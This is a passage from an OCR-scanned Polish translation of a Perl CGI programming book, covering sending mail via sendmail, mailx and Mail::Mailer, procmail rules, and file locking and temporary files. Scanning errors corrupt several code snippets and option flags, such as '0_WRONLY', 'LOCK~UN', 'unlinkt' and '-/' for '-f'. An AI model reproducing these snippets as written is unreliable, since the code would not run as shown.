związanego z przekazywaniem danych za pośrednictwem powłoki. Pocztę elektroniczną często się wysyła pod adresy podawane w formularzu HTML, więc możliwość włączenia adresu do części zasadniczej wiadomości jest kolejną wielką zaletą. Tuż po wysłaniu wiadomości skrypt wysyła potwierdzenie do użytkownika. Tu także zostaje użyta opcja t, i tu stają się widoczne zalety, gdy chodzi o bezpieczeństwo. Adres poczty elektronicznej dostarczany jest przez użytkownika, a my nie musimy się niepokoić przekazywaniem go przez powłokę. Również w tej drugiej przesyłce posługujemy się dwoma polami, które przychodzą w miejsce informacji adresowych nadawcy, sendmail nie odczyta automatycznie adresu nadawcy z nagłówków, tak jak przy opcji -t. W tym wypadku należy podać opcje -/i -F. Opcje są dwie, aby obsłużyć zapis rozszerzony, obejmujący nazwę (imię i nazwisko) oraz adres poczty elektronicznej, w następującej formie: Webmaster <webmaster@skryptorium.com> Ważne jest, aby podmienić informacje adresowe od nadawcy, ponieważ jeśli wiadomość wysłana do Marii „odbije się", to powróci do pierwotnego nadawcy; a jeśli serwer Web, działający jako użytkownik, ma standardowe konto ze skrzynką pocztową, to właśnie tam będą się gromadzić odbite (niedoręczone) wiadomości. Jeśli serwer nie będzie mieć konta pocztowego, wiadomość będzie się odbijać tam i z powrotem, aż przekroczony zostanie limit czasowy lub administrator systemu zdenerwuje się zwiększonym ruchem sieciowym i „wkroczy do akcji". Idealnie by było, gdyby system był skonfigurowany tak, aby wszelkie wiadomości zaadresowane do użytkownika nobody (jako taki działa serwer Web) były automatycznie przekazywane do webmastera. Jeśli konfiguracja jest inna lub nie jesteśmy jej pewni, powinniśmy ustawić opcję -/, podając przy niej rzeczywisty adres poczty elektronicznej, pod którym ktoś czuwa lub który jest zautomatyzowany. Pod koniec rozdziału zapoznamy się z przygotowaniem procesu do takiej właśnie obsługi poczty. Zauważmy, że jeśli podmienimy adres poczty elektronicznej nadawcy za pomocą opcji -/, sendmail doda do wiadomości dodatkowy nagłówek ostrzegawczy, chyba że jesteśmy użytkownikami zaufanymi. Ten dodatkowy nagłówek zwykle wygląda następująco: X-Authentication-Warning: skryptorium.com sguelich set sender to nobody@skryptorium.com using -f Domyślnie użytkownicy, którzy mają uprawnienia do korzystania z opcji -/bez generowania powyższego ostrzeżenia, to root, daemon oraz uucp. Większość agentów pocztowych w rzeczywistości nie zwraca uwagi na ten nagłówek, więc rzadko kiedy adresaci mają go okazję zobaczyć. Tak czy inaczej można uniknąć wysyłania go, dodając nobody do sekcji zaufanych użytkowników (ang. trusted users) w pliku /etc/sendmail.cf. Kolejka pocztowa Dotąd jeszcze nie omówiliśmy opcji -odą, która przydaje się w sytuacji, gdy wiele wiadomości mamy wysłać jednocześnie. Na przykład możemy prowadzić serwis Web, który kojarzy osoby poszukujące pracy z dostępnymi posadami. W bazie danych w zapisie dotyczącym danej osoby zawarte są słowa kluczowe opisujące rodzaj posady, której poszukuje, oraz jej adres poczty elektronicznej. Po wprowadzeniu do bazy nowych posad uruchamiamy skrypt CGI, który dopasowuje poszukujących pracy i posady. Jeśli skrypt stwierdzi jakiekolwiek dopasowanie, powiadomi o tym odpowiednie osoby, generując i wysyłając do nich zindywidualizowane wiadomości. W takim układzie wskazane jest użycie opcji -odq. Odszukanie zdalnego serwera i doręczenie wiadomości zabiera czas programowi sendmail, więc skrypt będzie działać o wiele, wiele szybciej, jeśli dodamy je do kolejki, gdzie zostaną osobno przetworzone, dzięki czemu nie będziemy czekać, aż sendmail wyśle każdą wiadomość. Nie ma potrzeby, by upewniać się, czy sendmail skonfigurowany jest tak, aby wiadomości przetwarzane były w kolejce, czy też utkną one na czas nieokreślony. Na wszelki wypadek można się spytać o to administratora systemu. Warto też zwrócić uwagę na fakt, że kolejkowanie wiadomości jest dobrą metodą, jeśli każda wysyłana wiadomość jest odmienna. Jeśli do wielu osób wysyłamy jednakowe wiadomości, nie powinniśmy kolejkować wielu osobnych wiadomości, z których każda zaadresowana jest do innej osoby, lecz powinniśmy użyć pola Bcc.
mailx i mail mailx i mail to kolejne popularne programy do wysyłania poczty. Niektórzy nawet twierdzą, że są bezpieczniejsze niż sendmail. To prawda, że sendmail jest tak dużym i skomplikowanym programem, działającym ponadto jako root, iż przez lata bywał źródłem licznych luk w systemie bezpieczeństwa. Jednak raczej wątpliwy jest pogląd, że w skryptach CGI jest on mniej bezpiecznym środkiem. Poważnym problemem wiążącym się z użyciem mailx i mail jest to, że zezwalają na użycie przełączników tyldowych: jakikolwiek wiersz w części zasadniczej wiadomości zaczynający się od znaków ~ ! wykonywany jest jako polecenie. Niektóre wersje tych programów próbują rozpoznać, czy program został uruchomiony przez użytkownika na terminalu, a jeśli nie, to powodują, że przełącznik tyldowy staje się nieczynny, lecz mimo to poważne ryzyko pozostaje. Drugi problem polega na tym, że nie są wyposażone w przełącznik analogiczny do opcji -t programu sendmail. Dlatego, gdybyśmy chcieli użyć na przykład programu mail, musielibyśmy posłużyć się sztuczką z poleceniami fork i exec, opisaną w poprzednim rozdziale: open MAIL "|-" or exec( "/bin/mail", $email ) or die "Nie można zastosować polecenia exec do wiadomości $!"; Programom mailx i mail brakuje też użytecznych opcji omówionych wraz z programem sendmail, takich jak możliwość podmiany nadawcy.
Programowanie CGI w Perlu
113
Programy pocztowe Perla Istnieją też inne programy do wysyłania poczty, lecz są rzadko stosowane. Niektóre z nich, na przykład blat, są prostymi programami przeznaczonymi do systemów Windows. Nie będziemy się nimi tu zajmować. Przyjrzymy się natomiast rozwiązaniu w Perlu, które działa we wszystkich systemach operacyjnych. Mail::Mailer jest popularnym modułem Perla przeznaczonym do wysyłania interne-towej poczty elektronicznej. Zapewnia prosty interfejs do wysyłania wiadomości za pomocą programów sendmail i mail (lub maih). Umożliwia również wysyłanie wiadomości za pośrednictwem SMTP bez użycia zewnętrznej aplikacji, a tym samym pozwala na wysyłanie wiadomości w systemach nieuniksowych, na przykład Windows, a nawet MacOS. Modułu Mail::Mailer można użyć w następujący sposób: my $mailer = new Mail::Mailer ( "smtp" ); $mailer->open( ( To => $email, From => 'Webmaster <webmaster@skryptorium.com>', Subject => 'Opinie o serwisie Web' ) ); print $mailer <<KONIEC_WIADOMOSCI; Skierowana do nas wiadomość została wysłana i wkrótce ktoś na nią odpowie. Dziękujemy za poświecenie nam czasu i dostarczenie swoich opinii! KONIEC_WIADOMOSCI close $mailer; Tworząc obiekt Mail::Mailer, można określić, w jaki sposób wiadomość ma zostać wysłana. Są trzy możliwości: mail Mail::Mailer przeszuka system kolejno pod kątem programów mailx, Mail oraz mail i użyje pierwszego znalezionego (nie omówiliśmy programu Mail, niemniej w wielu systemach Mail i mail są tożsame - mail jest jedynie łączem symbolicznym do Mail). sendmail Mail::Mailer do wysłania poczty użyje programu sendmail. smtp Mail::Mailer do wysłania poczty użyje modułu Perla Net::SMTP. Jeśli tworząc obiekt nie podamy argumentu, Mail::Mailer przejrzy każdą z powyższych opcji w podanej kolejności i użyje pierwszej znalezionej. Gdy Mail::Mailer używa zewnętrznego programu pocztowego, stosuje technikę opartą na fork i exec, aby uniknąć przekazywania argumentów przez powłokę. Mail::Mailer przydaje się przede wszystkim do wysyłania poczty poprzez SMTP w systemach nie wyposażonych w program sendmail. Mimo że umożliwia korzystanie z sendmail, nie daje możliwości zastosowania przełączników, dostępnych przy wywoływaniu tego programu bezpośrednio w wierszu polecenia. Mail::Mailer, wywołując sendmail, stosuje tylko opcję -t. Do wysłania poczty bezpośrednio przez SMTP przy użyciu modułu Mail::Mailer potrzebny jest moduł Net::SMTP, wchodzący w skład pakietu libnet dostępnego w sieci CPAN. Podczas instalowania modułu powinno się pojawić pytanie o serwer SMTP używany w sieci lokalnej. Jeśli odpowiednia konfiguracja nie została dokonana już w trakcie instalowania modułu, to mamy dwie możliwości. Możemy albo wprowadzić poprawki do pliku Net/Config.pm zainstalowanego w folderze bibliotek Perla i dodać serwer SMTP do elementu smtp_hosts w grupie asocjacji NetConfig, znajdującej się przy końcu pliku, albo wskazać serwer przy tworzeniu obiektu Mail::Mailer w następujący sposób: my $mailer = new Maił::Mailer ( "smtp", Server => $serwer ); Tutaj zmienna $ serwer powinna zawierać nazwę serwera SMTP. Nazwę tej maszyny powinniśmy uzyskać u administratora sieci lub dostawcy usług internetowych.
procmail Jeśli pocztę wysyła się za pomocą skryptów CGI, procmail okazuje się narzędziem bardzo poręcznym i wartym poznania, jednak dostępny jest tylko w Uniksie. Jeśli używamy Uniksa, a nie mamy jeszcze tego programu, możemy go pobrać pod adresem http://www.procmail.org. procmail jest aplikacją filtrującą, umożliwiającą automatyczne przetwarzanie poczty elektronicznej na podstawie praktycznie dowolnych kryteriów. Oczywiście, nie jest narzędziem prostym - tylko nieliczne spośród efektywnych narzędzi takie są. Tak jak w wypadku innych narzędzi przedstawianych w tym rozdziale, nie będziemy w stanie omówić go zbyt dokładnie. Przyjrzymy się natomiast kilku konfiguracjom, które powinny być wystarczające do podstawowych zastosowań. Aby uzyskać więcej wiadomości, można skorzystać z łączy do wielu użytecznych zasobów, m.in. podręczników dla początkujących i serwisów FAQ, pod adresem http://www.iki.fi/era/procmaill. Należy też pamiętać o zapoznaniu się z ekranową stroną podręcznikową; większość zasobów internetowych opracowana została przy założeniu, że użytkownik już się z nią zapoznał. Lektura takich stron zazwyczaj nie należy do najprzyjemniejszych, lecz w wypadku programu procmail są one bardzo dobrze napisane i zawierają liczne przykłady. Aby uruchomić procmail, musimy utworzyć dwa pliki w naszym katalogu macierzystym (lub katalogu macierzystym użytkownika, którego pocztę mamy zamiar przekazywać dalej). Pierwszy plik, .forward, będzie wykorzystywany przy doręczaniu poczty na nasze konto. Plik powinien być skonfigurowany tak, aby w wypadku tego konta program sendmati uruchamiał procmail, a wtedy procmail przetworzy wiadomości, opierając się na pliku .procmailrc. Możliwa jest konfiguracja, w której program procmail zastąpi sendmail w funkcji pocztowego
Programowanie CGI w Perlu
114
agenta transportu; nie jest wówczas potrzebny plik .forward. Należy się upewnić u administratora systemu, czy czasem taka sytuacja nie zachodzi. W pliku .forward musi się znajdować następujący wiersz: "|IFS=' '&&exec /usr/local/bin/procmail -f-||exit "75 #NAZWA_UZYTKOWNIKA" Wszystkie cudzysłowy są niezbędne, cudzysłowem pojedynczym objęta jest tylko jedna spacja, należy podać pełną ścieżkę do procmail, a w miejsce #NAZWA_UZYTKOWNIKA należy oczywiście umieścić własną nazwę użytkownika (lub inną, tak aby wiersz ten różnił się od wiersza w plikach .forward innych użytkowników). Automatyczne odpowiedzi od użytkownika nobody Wszystko, czego potrzebujemy, to plik .procmailrc. Plik ten zawiera reguły oraz polecenia, które mają być wykonane, jeśli odpowiednia reguła jest spełniona. W tym przykładzie utworzymy tylko jedną regułę, która powoduje, że na wszystkie wiadomości przychodzące wysyłana jest automatyczna odpowiedź (ang. autoreply). Przydaje się to w sytuacji, gdy wiadomości wysyłane do serwera Web jako użytkownika nie są przekierowywane. Jeśli serwer Web działa jako pełnoprawny użytkownik o nazwie nobody, odpowiedni zapis można by umieścić w katalogu macierzystym użytkownika nobody. Oto plik .procmailrc: ## To jest nasz adres poczty elektronicznej ADRES_EMAIL=nobody@nasza-domena.com ## Wiersz ten należy "odkomentować", jeśli sendmail nie znajduje się w katalogu /usr/lib/sendmail #SENDMAIL=/sciezka/do/sendmail ## Gdy otrzymamy wiadomość, sprawdzimy, czy nie została wysłana przez demona ## pocztowego lub czy nie jest jedną z naszych, znakowanych wiadomości. ## Jeśli nie, to odpowiadamy na nią używając zawartości pliku autoreply.txt ## jako części zasadniczej wiadomości i znakujemy wiadomość, dodając ## nagłówek X-Loop. :0 h * !"FROM_DAEMON * !^X-Loop: $ADRES_EMAIL | ( formail -r -A"X-Loop: $ADRES_EMAIL"; \ cat "$HOME/autoreply.txt" ) | $SENDMAIL -t ## Wyrzuć wiadomości, na które nie odpowiadamy :0 /dev/null Zróbmy krótki przegląd tego, co robi plik. Bardziej szczegółowe informacje można znaleźć w wymienionych wcześniej źródłach. Najpierw zmiennej $ADRES_EMAIL przypisujemy adres poczty elektronicznej konta otrzymującego daną przesyłkę. Następnie powinna zostać określona ścieżka do programu sendmail, jeśli jest ona inna niż ścieżka domyślnie przyjmowana przez procmati (zazwyczaj jest to /usr/Hblsend-mail albo /usr/sbin/sendmail). Pozostałe wiersze wyznaczają reguły. Wszystkie reguły zaczynają się znakami :0. Pierwsza reguła ma dodatkowo opcję h, oznaczającą, że jesteśmy zainteresowani jedynie nagłówkami przychodzącej wiadomości - jej część zasadnicza nie będzie włączana do odpowiedzi. Wszystkie wiersze zaczynające się znakiem * definiują warunki. W ramach tej reguły powinna zostać przetworzona każda wiadomość, która nie wygląda na wygenerowaną przez proces demona (między innymi wiadomości odbite i w ramach list wysyłkowych) i nie zawiera nagłówka X-Loop z naszym adresem poczty elektronicznej. Wkrótce pokażemy, dlaczego sprawdzamy pocztę pod kątem tego nagłówka. Nagłówki wiadomości przetwarzane są potokowo przez formail, aplikację pomocniczą towarzyszącą programowi procmail. Konstruuje ona odpowiedź na podane nagłówki i dodaje nagłówek X-Loop, zawierający nasz adres. Nagłówek ten dodajemy do odpowiedzi i sprawdzamy jego obecność w wiadomościach przychodzących po to, aby uniknąć nieskończonych pętli. Jeśli skrypt CGI wyśle wiadomość, która się odbije (ze względu na błędny adres poczty elektronicznej, zapełnioną skrzynkę itp.) i do nas powróci, a my na nią automatycznie odpowiemy, to nasza odpowiedź także się odbije. Taka bezcelowa wymiana mogłaby trwać w nieskończoność, gdybyśmy nie dodali nagłówka X-Loop, który powinien być zachowany w otrzymywanych przez nas odpowiedziach. Dzięki niemu będziemy wiedzieli, czy już odpowiadaliśmy na daną wiadomość, i nie wygenerujemy kolejnej odpowiedzi. Sprawdzanie, czy wiadomość została wygenerowana przez demona, powinno w istocie zapobiegać odpowiadaniu na odbicia, lecz nie jest ono w pełni odporne na pomyłki, więc test na obecność X-Loop bardzo się przydaje. formail obsługuje nagłówki samoczynnie. Następnie poleceniem cat listujemy zawartość pliku autoreply.txt w naszym katalogu macierzystym. W pliku tym powinna się znaleźć wiadomość właściwa dla danego serwisu, zawierająca elementarny komunikat, że dany adres poczty elektronicznej jest nieczynny, oraz alternatywny adres poczty elektronicznej odbiorcy. Wynikowe nagłówki i część zasadnicza są kierowane potokiem do sendmail, który odczytuje nagłówki i zajmuje się doręczeniem nowo utworzonych odpowiedzi. Ostatnia reguła w tym pliku nie ma warunków. Podlegają jej wszystkie wiadomości, które nie zostały przetworzone przez poprzednie reguły, innymi słowy, wszystkie wiadomości wysłane przez demony lub takie, na które już odpowiedziano. Wiadomości te są po prostu likwidowane przez skierowanie ich na /dev/null. Przekazywanie wiadomości do kolejnego użytkownika Możliwe jest również przekazanie wszystkich wiadomości do kolejnego użytkownika. Istnieją lepsze rozwiązania niż użycie do tego procmail, a dokładniej: w wypadku sendmail istnieje możliwość tworzenia nazw alternatywnych (aliasów) pozwalających przekierować pocztę wysłaną spod jednego adresu na inny adres.
Programowanie CGI w Perlu
115
Niemniej jednak, gdybyśmy nie mogli skłonić administratora systemu do utworzenia aliasu, możemy skorzystać z pliku .procmail, modyfikując go tak, aby cała poczta przychodząca była przekazywana dalej pod inny adres: ## To jest adres poczty elektronicznej, pod który ## wiadomości mają być przekazywane PRZEKAZ_DO=webmaster@nasza-domena.com ## Wiersz ten należy "odkomentować", jeśli sendmail nie ## znajduje się w katalogu /usr/lib/sendmail #SENDMAIL=/sciezka/do/sendmail ## Przekaż dalej wszystkie wiadomości :0 ! $PRZEKAZ_DO Jak widać, procmail zapewnia spore możliwości pod względem automatycznego przetwarzania poczty elektronicznej. W jednym z wcześniejszych przykładów nagłówki wiadomości przychodzących przetwarzaliśmy potokowo poprzez formail. Nagłówki, część zasadniczą lub całą wiadomość tak samo łatwo moglibyśmy przetworzyć potokowo za pośrednictwem skryptu w Perlu, a tym samym reagować na każdą docierającą do nas pocztę. Moglibyśmy na przykład odpowiednio oznakować lub skasować rekord w bazie danych, gdyby doręczenie poczty wysłanej do określonego użytkownika okazało się niemożliwe i przesyłka do nas powróciła. To zaledwie jeden przykład; można przecież wymyślić inne, specyficzne dla danego serwisu.
Rozdział 10 Obsługa danych w plikach Można utworzyć wiele elementarnych aplikacji Web, które na wyjście będą przekazywać tylko pocztę elektroniczną i dokumenty Web. Niemniej jednak, jeśli zabierzemy się za tworzenie dużych aplikacji, stanie się w końcu potrzebne magazynowanie danych i późniejsze ich pobieranie. W niniejszym rozdziale omówimy rozmaite tego sposoby o różnych stopniach złożoności. Użycie plików tekstowych to najprostszy sposób przechowywania danych, lecz gdy znacznie wzrasta złożoność lub ilość danych, szybko się staje nieefektywny. Pliki DBM zapewniają o wiele szybszy dostęp, nawet w wypadku dużych ilości danych, a przy tym ich obsługa w Perlu jest bardzo łatwa. Jednak również to rozwiązanie okazuje się ograniczone, gdy zbytnio wzrasta złożoność danych. Na koniec zbadamy relacyjne bazy danych. System zarządzania relacyjnymi bazami danych (RDBMS, ang. relational database management system) zapewnia wysoką wydajność nawet przy bardzo złożonych zapytaniach. Jednak kon-figurowanie takiego systemu i posługiwanie się nim jest bardziej skomplikowane w porównaniu z pozostałymi rozwiązaniami. Aplikacje rozwijają się i rozrastają. Początkowo krótki skrypt CGI, któremu będzie przyrastać funkcja za funkcją, stanie się w końcu dużą, złożoną aplikacją. Dlatego opracowując aplikacje Web, powinno się projektować je tak, aby ich rozszerzanie nie sprawiało trudności. Jedną z metod jest dzielenie na moduły. Powinniśmy starać się wydzielić kod odczytujący i zapisujący dane, tak aby obsługa danych przechowywanych w plikach była ukryta przed resztą kodu. Uzależniając od formatu danych zaledwie niewielką cząstkę kodu, ułatwiamy sobie rozbudowanie formatu danych w przyszłości, gdy zajdzie taka potrzeba.
Pliki tekstowe Siła Perla tkwi w jego możliwościach pod względem rozbioru tekstu na części (analizy składniowej). Dzięki nim szczególnie łatwo i szybko tworzy się aplikacje Web oparte na plikach tekstowych jako nośnikach danych. Chociaż nie nadają się one do skomplikowanych zapytań, działają sprawnie przy niewielkich ilościach danych i często są stosowane w aplikacjach CGI w języku Perl. Nie zamierzamy omawiać posługiwania się plikami tekstowymi w Perlu, ponieważ większość programistów w tym języku ma już wystarczające umiejętności. Nie będziemy również zajmować się tworzeniem plików o dostępie swobodnym, które to pliki zapewniają większą wydajność. Nie obyłoby się bowiem bez obszernej dyskusji, podczas gdy plik DBM jest generalnie lepszym zamiennikiem. Przeanalizujemy jedynie zagadnienia dotyczące użycia plików tekstowych w zestawieniu ze skryptami CGI. Blokowanie Jeśli dokonujemy zapisu w jakichkolwiek plikach z poziomu skryptów CGI, musimy korzystać z pewnej formy blokowania pliku. Serwery Web obsługują liczne połączenia współbieżne i jeśli dwóch użytkowników usiłuje pisać do tego samego pliku w tym samym czasie, w rezultacie dane na ogół zostają uszkodzone lub „obcięte". flock Jeśli tylko system obsługuje blokowanie, to polecenie flock jest najlepszym do tego środkiem. Po czym poznać, że system obsługuje polecenie flock? Wystarczy próba: jeśli polecenie flock nie jest obsługiwane, jego wykonanie zakończy się błędem krytycznym. Tak czy inaczej, na poleceniu flock można polegać tylko w wypadku plików lokalnych; działanie polecenia flock nie obejmuje większości systemów NFS nawet wtedy, gdy dany system skądinąd je obsługuje* flock oferuje dwa różne tryby blokowania: z wyłącznością i ze współużytkowaniem. Wiele procesów może bezproblemowo odczytywać ten sam plik jednocześnie, lecz w danym momencie tylko jeden proces powinien pisać do pliku (i żaden inny proces nie powinien odczytywać pliku, podczas gdy trwa zapisywanie). Dlatego przy zapisie należy wprowadzać blokowanie pliku z wyłącznością, a przy odczycie blokowanie ze współużytkowaniem. Przy wprowadzaniu blokowania ze współużytkowaniem następuje sprawdzenie, czy nikt inny nie zablokował danego pliku z wyłącznością. Ponadto uskutecznienie wszelkich prób
Programowanie CGI w Perlu
116
blokowania z wyłącznością jest wstrzymywane do czasu, aż zostaną zwolnione wszystkie blokady ze współużytkowaniem. Polecenie flock wywołuje się wraz z uchwytem otwartego pliku oraz liczbą wskazującą typ blokowania. Konkretne wartości liczbowe zależą od systemu, więc najłatwiej będzie użyć modułu Fcntl. Jeśli do Fcntl przekażemy argument : flock, to wyeksportowane zostaną stałe symboliczne LOCK_EX, LOCK_SH, LOCKJJN oraz LOCK_NB. Można się nimi posługiwać w sposób następujący: use Fcntl ":flock"; open PLIK, "pewien_plik.txt" or die $! ; flock PLIK, LOCK_EX; # Blokowanie z wyłącznością flock PLIK, LOCK_SH; # Blokowanie ze współużytkowaniem flock PLIK, LOCK~UN; # Odblokowanie Zamknięcie pliku o danym uchwycie zwalnia wszelkie blokady, więc na ogół nie ma potrzeby jawnego odblokowywania pliku. Co więcej, może to być groźne, jeśli blokujemy uchwyt pliku oparty na mechanizmie tie języka Perl. Dalsze informacje można znaleźć w omówieniu blokowania plików w podrozdziale poświęconym DBM. W niektórych systemach blokowanie plików ze współużytkowaniem nie jest obsługiwane, a w zamian stosowane jest blokowanie z wyłącznością. W celu przetestowania zakresu działania polecenia flock można użyć skryptu przedstawionego w przykładzie 10.1. Przykład 10.1. f lockjest.pl #!/usr/bin/perl -wT use IO::File; use Fcntl ":flock"; *FH1 = new_tmpfile IO::File or die "Nie można otworzyć pliku tymczasowego: $!\n"; eval { flock FH1, LOCK_SH }; $@ and die "Wygląda na to, że system nie udostępnia polecenia flock: $@\n"; open FH2, ">> &FH1" or die "Nie można otworzyć uchwytu pliku: $!\n"; if ( flock FH2, LOCK_SH | LOCK_NB ) { print "System obsługuje blokowanie plików ze współużytkowaniem\n"; } else { print "System obsługuje tylko blokowanie plików z wyłącznością\n"; } Jeśli musimy zarówno odczytywać plik, jak i w nim pisać, to mamy dwie możliwości: możemy otworzyć plik z wyłącznością, aby uzyskać dostęp do odczytu i zapisu, albo - gdy mamy dokonać niewielkiego zapisu, a to, co jest zapisywane, nie zależy od zawartości pliku - możemy plik otworzyć i zamknąć dwukrotnie: najpierw do odczytu - ze współużytkowaniem, a potem do zapisu - z wyłącznością. Rozwiązanie to jest zasadniczo mniej efektywne niż jednokrotne otwieranie pliku, lecz w sytuacji, gdy wiele procesów wymaga dostępu do pliku, dużo przy tym czytając, a mało zapisując, zwiększymy efektywność, jeśli skrócimy czas, przez który plik jest związany blokowaniem z wyłącznością. Zazwyczaj, gdy próbujemy zablokować plik za pomocą flock, wykonanie skryptu zostaje wstrzymane do czasu, aż zablokowanie danego pliku stanie się możliwe. Opcja LOCK_NB informuje polecenie flock, że nie chcemy, aby wykonanie było wstrzymywane, lecz żeby skrypt kontynuował działanie, gdyby zablokowanie pliku było niemożliwe. Oto jeden ze sposobów obsługi limitu czasowego, gdy niemożliwe jest zablokowanie pliku: my $licznik = 0; my $zwloka = 1; my $maks = 15; open PLIK, ">> $nazwapliku" or error( $q, "Nie można otworzyć pliku: dane nie zostały zapisane" ); until ( flock PLIK, LOCK_SH | LOCK_NB ) { error( $q, "Przekroczony został limit czasu na zapisanie pliku: " . "dane nie zostały zapisane" ) if Slicznik >= $maks; sleep $zwloka; $licznik += $zwloka; } W tym przykładzie kod próbuje wprowadzić blokowanie. Gdy mu się to nie udaje, odczekuje sekundę i ponawia próbę. Po piętnastu sekundach rezygnuje i zgłasza błąd. Samodzielnie tworzone pliki blokujące Jeśli system nie obsługuje polecenia flock, trzeba będzie samemu utworzyć pliki blokujące. Zgodnie z tym, co mówi serwis FAQ Perla (zob. perlfaq5), nie jest to tak proste, jak można by sądzić. Problem polega na tym, że należy sprawdzać, czy taki plik istnieje, oraz tworzyć go w ramach jednej operacji. Jeśli najpierw sprawdzimy, czy plik blokujący istnieje, a potem, jeśli okaże się, że nie istnieje, spróbujemy go utworzyć, to gdy między jedną a drugą operacją inny proces utworzy własny plik blokujący, nasz plik go zastąpi. W celu utworzenia pliku blokowania należy się posłużyć następującym zapisem: use Fcntl; sysopen LOCK_FILE, "$nazwapliku.lock", 0_WRONLY | 0_EXCL | 0_CREAT, 0644 or error( $q, "Nie można zablokować pliku: dane nie zostały zapisane" );
Programowanie CGI w Perlu
117
Dostarczana przez moduł Fcntl stała O_EXCL informuje system, aby otworzył plik tylko wtedy, gdy jeszcze on nie istnieje. Należy zwrócić uwagę na fakt, że polecenie może działać zawodnie w systemie plików NFS. Uprawnienia do zapisu Aby móc utworzyć lub zaktualizować plik tekstowy, musimy mieć odpowiednie uprawnienia. Choć stwierdzenie to wydaje się oczywiste, brak uprawnień stanowi częste źródło błędów w skryptach CGI, zwłaszcza w uniksowych systemach plików. Przyjrzyjmy się, jak działają uprawnienia plików w Uniksie. Pliki mają właściciela i grupę. Domyślnie są nimi użytkownik i grupa użytkownika lub procesu, który utworzył plik. Uprawnienia do pliku określane są na trzech poziomach: właściciela, grupy oraz wszystkich pozostałych użytkowników. Każde takie uprawnienie może określać dostęp z prawem do czytania, zapisywania oraz (lub) uruchamiania pliku. Skrypty CGI mogą modyfikować plik tylko wtedy, gdy serwer Web (działający jako użytkownik nobody) ma prawo do zapisywania w pliku. Dzieje się tak, jeśli w pliku może pisać każdy lub jeśli w pliku mogą pisać członkowie grupy danego pliku i członkiem tej grupy jest nobody, lub jeśli nobody jest właścicielem pliku, a prawo do zapisywania w pliku ma właściciel. Aby móc utworzyć lub usunąć plik, nobody musi mieć uprawnienia do zapisu w stosunku do katalogu zawierającego dany plik. Katalogów dotyczą te same reguły (co do właściciela, grupy oraz wszystkich innych), które odnoszą się do plików. W wypadku katalogu dodatkowo musi być ustawiony bit wykonywalności. Bit wykonywalności katalogu decyduje o prawie do jego przeglądania, oznaczającym możliwość modyfikowania zawartości katalogu. Nawet wtedy, gdy skrypt CGI nie ma prawa do modyfikowania pliku, może być w stanie go podmienić. Jeśli nobody ma uprawnienia do pisania w danym katalogu, to nie tylko może usuwać zawarte w nim pliki, lecz także tworzyć nowe, nadając im przy tym nazwy plików już istniejących. Uprawnienia do pisania w pliku zazwyczaj nie mają wpływu na możliwość usuwania lub podmiany pliku jako całości. Pliki tymczasowe W skryptach CGI niekiedy trzeba tworzyć pliki tymczasowe, z wielu powodów. Tworząc pliki, w których umieszczamy dane na czas przetwarzania, redukujemy za-jętość pamięci: zyskujemy na efektywności, poświęcając wydajność. Ponadto można wtedy korzystać z zewnętrznych poleceń operujących na plikach tekstowych. Pliki tymczasowe anonimowe Pliki tymczasowe zazwyczaj są anonimowe (nie mają nazwy); tworzone są w wyniku otwarcia uchwytu do nowego pliku, a następnie natychmiastowego skasowania pliku. Skrypt CGI nadal będzie mieć dostęp do pliku poprzez uchwyt, lecz dane nie będą dostępne dla innych procesów, a przy tym system plików odzyskuje obszar zajmowany przez te dane, kiedy tylko skrypt CGI zamknie uchwyt (nie we wszystkich systemach tak się dzieje). Istnieje moduł Perla, który bardzo upraszcza zarządzanie plikami tymczasowymi. IO::File wyręcza nas w tworzeniu anonimowych plików tymczasowych, opierając się na metodzie klasy new_tmpfile; nie przekazuje się 18 do niej argumentów. Można jej użyć w następujący sposób : use IO::File; ... my $tmp_fh = new_tmpfile IO::File; Potem można już odczytywać i zapisywać, posługując się zmienną $ tmp_ f h, tak jak każdym innym uchwytem pliku: print $tmp_fh "</html>\n"; seek $tmp_fh, 0, 0; while (<$tmp_fh>) { print; } Pliki tymczasowe mające nazwy Inna możliwość polega na utworzeniu pliku i skasowaniu go dopiero po zakończeniu wszystkich związanych z nim operacji. Zaletą tego rozwiązania jest to, że mamy nazwę pliku, którą można przekazać do innych procesów i funkcji. Ponadto, obsługa samodzielna jest znacząco szybsza niż przy użyciu modułu IO::File. Mimo to użycie plików tymczasowych, które mają nazwy, ma dwie wady. Po pierwsze, należy dbać o nadawanie plikom unikatowych nazw, aby dwa skrypty nie usiłowały sięgnąć jednocześnie do tego samego pliku tymczasowego. Po drugie, skrypt CGI musi na koniec skasować plik, choćby nawet wystąpił błąd i działanie miało się zakończyć przedwcześnie. Serwis FAQ Perla proponuje, aby do wygenerowania tymczasowej nazwy pliku użyć modułu POSIX i bloku END, co zagwarantuje usunięcie pliku, gdy przestanie być potrzebny: use Fcntl; use POSIX qw(tmpnam); 18
W rzeczywistości, jeśli w systemie plików nie możliwości stosowania anonimowych plików tymczasowych, moduł IO::File nie tworzy takiego pliku jako anonimowego, lecz mimo to pozostaje on anonimowy dla nas, ponieważ nie możemy uzyskać nazwy pliku. IO::File wyręczy nas w obsłudze pliku i jego skasowaniu, gdy uchwyt pliku znajdzie się poza określonym zasięgiem zmiennych lub skrypt zakończy działanie.
Programowanie CGI w Perlu
118
... my $tymcz_nazwapliku; # wypróbowuj nowe tymczasowe nazwy plików, aż uzyskasz taką, która jeszcze # nie istnieje; sprawdzanie raczej nie jest konieczne, ale nigdy nie zaszkodzi do { $tymcz_nazwapliku = tmpnam() } until sysopen( FH, $nazwa, O_RDWR|O_CREAT|O_EXCL ); # zainstaluj procedurę obsługi wychodzenia ze skryptu, tak aby przy # opuszczaniu go w trybie zwykłym lub awaryjnym plik tymczasowy był # automatycznie kasowany END { unlinkt $tymcz_nazwapliku ) or die "Nie można odłączyć pliku $nazwa: $!" } Jeśli system nie obsługuje modułu POSIX, w zamian trzeba tworzyć plik w sposób właściwy dla systemu. Separatory Jeśli w każdym wierszu pliku tekstowego trzeba zawrzeć kilka pól, to do oddzielenia każdego z nich najczęściej stosuje się separatory. Inne rozwiązanie, którego nie będziemy tutaj rozważać, polega na utworzeniu rekordów o stałej długości pól. Najczęściej w funkcji separatorów stosuje się przecinki, średniki, tabulacje i kreski pionowe ( | ). Przecinki stosowane są przede wszystkim w plikach CSV, które tutaj omówimy. Precyzyjny rozbiór na części plików CSV bywa trudny, ponieważ pola mogą zawierać przecinki nieseparujące. W razie korzystania z plików CSV warto wziąć pod uwagę moduł DBD::CSV; użycie go zapewnia kilka dodatkowych korzyści, które wkrótce przedstawimy. Tabulacje na ogół nie występują w danych, więc są 